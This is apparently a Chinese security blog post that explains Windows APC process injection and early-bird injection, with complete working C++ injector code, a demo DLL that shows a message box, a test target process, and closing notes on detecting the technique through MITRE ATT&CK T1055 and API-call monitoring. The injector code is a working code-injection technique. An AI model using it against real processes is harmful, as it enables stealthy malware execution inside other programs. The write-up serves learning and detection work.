APC进程注入C++示例和检测思考
直接贴C++代码效果:
apc注入到pid为39712的进程
procexp可以看到注入的DLL!
好了,我们看看代码如何写:
注入部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | // inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <iostream> #include<Windows.h> #include<TlHelp32.h> using namespace std; void ShowError( const char * pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n" , pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR" , MB_OK); } //列出指定进程的所有线程 BOOL GetProcessThreadList( DWORD th32ProcessID, DWORD ** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = ( LPDWORD )VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof ( DWORD ), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof ( DWORD )); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof (THREADENTRY32); //遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break ; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject( HANDLE hProcess, CHAR * wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr , page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError( "VirtualAllocEx - Error\n\n" ); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, ( strlen (wzDllFullPath) + 1) * sizeof (wzDllFullPath), nullptr )) { ShowError( "WriteProcessMemory - Error\n\n" ); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle( "kernel32.dll" ), "LoadLibraryA" ); // 遍历线程, 插入APC float fail = 0; for ( int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, ( ULONG_PTR )lpAddr)) { fail++; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf ( "Total Thread: %d\n" , dwThreadIdListLength); printf ( "Total Failed: %d\n" , ( int )fail); if (( int )fail == 0 || dwThreadIdListLength / fail > 0.5) { printf ( "Success to Inject APC\n" ); return TRUE; } else { printf ( "Inject may be failed\n" ); return FALSE; } } int main() { ULONG32 ulProcessID = 0; printf ( "Input the Process ID:" ); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll" ; // "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll"; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf ( "Can not list the threads\n" ); exit (0); } //打开句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL) { printf ( "Failed to open Process\n" ); return FALSE; } //注入 if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf ( "Failed to inject DLL\n" ); return FALSE; } return 0; } |
我们的DLL部分injected_dll.dll代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | // myhack.cpp // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include "windows.h" #include "tchar.h" DWORD WINAPI ThreadProc( LPVOID lParam) { ::MessageBoxW(NULL, L "szPath" , L "captain?" , 0); //调用函数进行URL下载 return 0; } BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL; switch (fdwReason) { case DLL_PROCESS_ATTACH: OutputDebugString(L "<myhack.dll> Injection!!!" ); //创建远程线程进行download hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); // 需要注意,切记随手关闭句柄,保持好习惯 CloseHandle(hThread); break ; } return TRUE; } |
被注入的进程代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <windows.h> #include <synchapi.h> #include <iostream> int main() { std::cout << "Hello World!\n" ; DWORD pid = GetCurrentProcessId(); std::cout << "当前进程的PID是: " << pid << std::endl; while (1) { SleepEx(1000, true ); std::cout << "You are done!\n" ; } std::cout << "Exit!\n" ; } |
里面有一个关键函数:
1 | SleepEx |
其中,第二个参数表示是否可以被唤醒。解释见后:
我们再注入explorer.exe
注意:上述代码都是windows 64 release运行!
APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看.

首先介绍一下APC,会了正想开发就会逆向注入
首先第一个函数
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
我们首先要知道异步函数调用的原理,
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
这里介绍一下应用程序的APC
APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.我们看下Msdn怎么写

MSDN说,要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发
那么使用APC场合的注入就有了,
1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
那么我们可以注入APC,注意下条件,也不是所有都能注入的.
注入方法的原理:
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
使用方法:
1.利用快照枚举所有的线程
2.写入远程内存,写入的是Dll的路径
3.插入我们的DLL即可
补充下,更完整的:
QueueUserAPC函数用于将一个异步过程调用(APC)添加到指定线程的APC队列中。当以下条件之一满足时,队列中的APC将被执行:
1. 当线程处于alertable状态并调用了如SleepEx,SignalObjectAndWait,WaitForSingleObjectEx,WaitForMultipleObjectsEx或者MsgWaitForMultipleObjectsEx等函数时,会执行队列中的APC。
2. 当线程调用AlertThread函数时,如果线程在调用AlertThread函数时处于等待状态,那么线程将被强制进入alertable状态,从而执行队列中的APC。
3. 当线程创建时,如果创建线程的函数指定了CREATE_SUSPENDED标志,那么线程将在创建时处于挂起状态。在这种情况下,可以使用QueueUserAPC函数将一个APC添加到线程的APC队列中,然后使用ResumeThread函数恢复线程的执行。当线程恢复执行时,它将立即执行队列中的APC,即使线程此时并不处于alertable状态。
请注意,只有当线程处于alertable状态时,才会执行队列中的APC。如果线程不处于alertable状态,那么即使APC队列中有待执行的APC,这些APC也不会被执行。
APC 注入的一种变体,称为“早鸟注入”,涉及创建一个挂起的进程。[2] AtomBombing [3]是另一种变体,它利用 APC 调用先前写入全局原子表的恶意代码。[4]
在这个文章里说明了早鸟注入的方法,https://tbhaxor.com/windows-process-injection-using-asynchronous-threads-queueuserapc/
我们根据其原理写一个早鸟注入的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | #include <iostream> #include<Windows.h> #include<TlHelp32.h> using namespace std; extern void ShowError( const char * pszText); BOOL APCInject( HANDLE hProcess, HANDLE hThread, CHAR * wzDllFullPath) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr , page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError( "VirtualAllocEx - Error\n\n" ); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, ( strlen (wzDllFullPath) + 1) * sizeof (wzDllFullPath), nullptr )) { ShowError( "WriteProcessMemory - Error\n\n" ); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle( "kernel32.dll" ), "LoadLibraryA" ); // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, ( ULONG_PTR )lpAddr)) { ShowError( "QueueUserAPC - Error\n\n" ); return FALSE; } return TRUE; } int main() { CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll" ; STARTUPINFO si = { sizeof (STARTUPINFO) }; PROCESS_INFORMATION pi; if (!CreateProcess( "C:\\Windows\\System32\\notepad.exe" , NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { ShowError( "CreateProcess - Error\n\n" ); return 1; } //注入 if (!APCInject(pi.hProcess, pi.hThread, wzDllFullPath)) { printf ( "Failed to inject DLL\n" ); return FALSE; } // 恢复新进程的主线程,这将导致APC立即执行 if (ResumeThread(pi.hThread) == -1) { ShowError( "ResumeThread - Error\n\n" ); return 1; } // 等待新进程结束 WaitForSingleObject(pi.hProcess, INFINITE); // 清理 CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } |
效果:
因为是创建了进程,所以看起来这个被注入的进程是从apc_inject.exe拉起来的(建立进程基线应该可以发现系统进程异常fork)
通过调试发现,的确是在调用ResumeThread:恢复新进程的主线程,这将导致APC立即执行。才会弹出messagebox的窗口的!
好了!我们接下来看看应该如何进行检测!
Asynchronous Procedure Call - 异步过程调用 高 T1055 = 18.1% T1055.004 https://attack.mitre.org/techniques/T1055/004/
1、OS API调用, OpenThread,QueueUserAPC 用于调用 LoadLibrayA 指向一个恶意DLL,其他还有SuspendThread/ SetThreadContext/ ResumeThread, QueueUserAPC/ NtQueueApcThread 挂载ntdll.dll 1、监测Windows API calls如 OpenThread,QueueUserAPC 用于调用 LoadLibrayA 指向一个恶意DLL(SuspendThread/ SetThreadContext/ ResumeThread, QueueUserAPC/ NtQueueApcThread),和已知的良性进程区分。【注意误报】
所以这种,可以结合L0/L1的混合推理来做。如果是同一个实体关系里有上述api的调用,则必然是apc注入了。
至于注入后的代码是否恶意,则要结合注入的dll、shellcode进一步取证。
---------------------------------开源规则的检测思路--------------------------------
Thread Execution Hijacking -线程执行劫持 高 T1055.003 = 1.0% T1055.003 https://attack.mitre.org/techniques/T1055/003/
攻击思路:OS API调用,OpenThread可能被暂停,然后写重新调整的注码,并继续通过 SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext 然后 ResumeThread 执行 挂载ntdll
检测思路:监测Windows API calls如 CreateRemoteThread, SuspendThread/ SetThreadContext/ ResumeThread , VirtualAllocEx/ WriteProcessMemory,和已知的良性进程区分。【注意误报】
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2022-09-15 LPC介绍
2021-09-15 Fortinet检测命令控制——就是通过心跳,最短60s,最长1天的周期,检测偏离度0.2
2021-09-15 AWVS工作原理——先做爬虫,然后再针对每一个url探测可能的xss、sql注入等漏洞
2018-09-15 google搜索 site:pku.edu.cn inurl:aspx 即可查找所有动态网页 =====html(静态网页) asp(动态) jsp(动态) php(动态) cgi(网络程序) aspx(动态)
2018-09-15 给你一个网站你是如何来渗透测试的
2018-09-15 web漏洞扫描工具集合
2018-09-15 Arachni web扫描工具